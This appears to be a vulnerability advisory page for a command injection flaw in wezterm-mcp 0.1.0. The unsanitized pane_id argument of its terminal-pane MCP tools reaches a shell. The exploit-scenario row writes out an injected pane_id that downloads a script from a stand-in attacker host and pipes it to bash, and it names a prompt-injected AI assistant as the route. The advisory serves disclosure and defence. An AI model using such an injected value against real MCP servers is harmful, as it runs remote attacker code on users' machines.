EUVD-2026-33731
GHSA-xrc9-g9fm-hq32
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
A vulnerability was identified in hiraishikentaro wezterm-mcp 0.1.0. The affected element is an unknown function of the file src/wezterm_executor.ts of the component switch_pane/write_to_specific_pane. The manipulation of the argument request.params.arguments.pane_id leads to os command injection. The attack can be initiated remotely. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.
AnalysisAI
OS command injection in wezterm-mcp 0.1.0 allows a remotely authenticated attacker with low privileges to execute arbitrary shell commands by supplying a crafted pane_id argument to the switch_pane or write_to_specific_pane MCP tool handlers. The unsanitized parameter is passed directly to a shell invocation in src/wezterm_executor.ts, giving an MCP client - such as an AI assistant or automation pipeline - the ability to break out of intended terminal pane management and run arbitrary commands in the host user's context. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires an attacker to hold at minimum low-privilege access to the MCP server (PR:L per CVSS 4.0 vector) - concretely, the ability to call the switch_pane or write_to_specific_pane MCP tool endpoints exposed by wezterm-mcp. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 base score of 2.1 reflects constrained real-world impact: AV:N/AC:L/AT:N/PR:L/UI:N indicates network-reachable, low-complexity exploitation requiring only low-privilege access, but the impact ratings VC:L/VI:L/VA:L and SC:N/SI:N/SA:N bound the blast radius to the vulnerable component with no subsequent-system scope change. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with low-privilege access to an MCP server instance - for example, through a compromised or prompt-injected AI assistant session - crafts a malicious pane_id value such as '1; curl attacker.example/shell.sh | bash' and submits it to the switch_pane or write_to_specific_pane tool. The unvalidated argument is interpolated into a shell command in wezterm_executor.ts, causing the injected payload to execute in the desktop session of the WezTerm user. … |
| Remediation | No vendor-released patch has been identified at time of analysis; the project maintainer has not responded to the disclosure report filed via GitHub issue #7. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Share
External POC / Exploit Code
Leaving vuln.today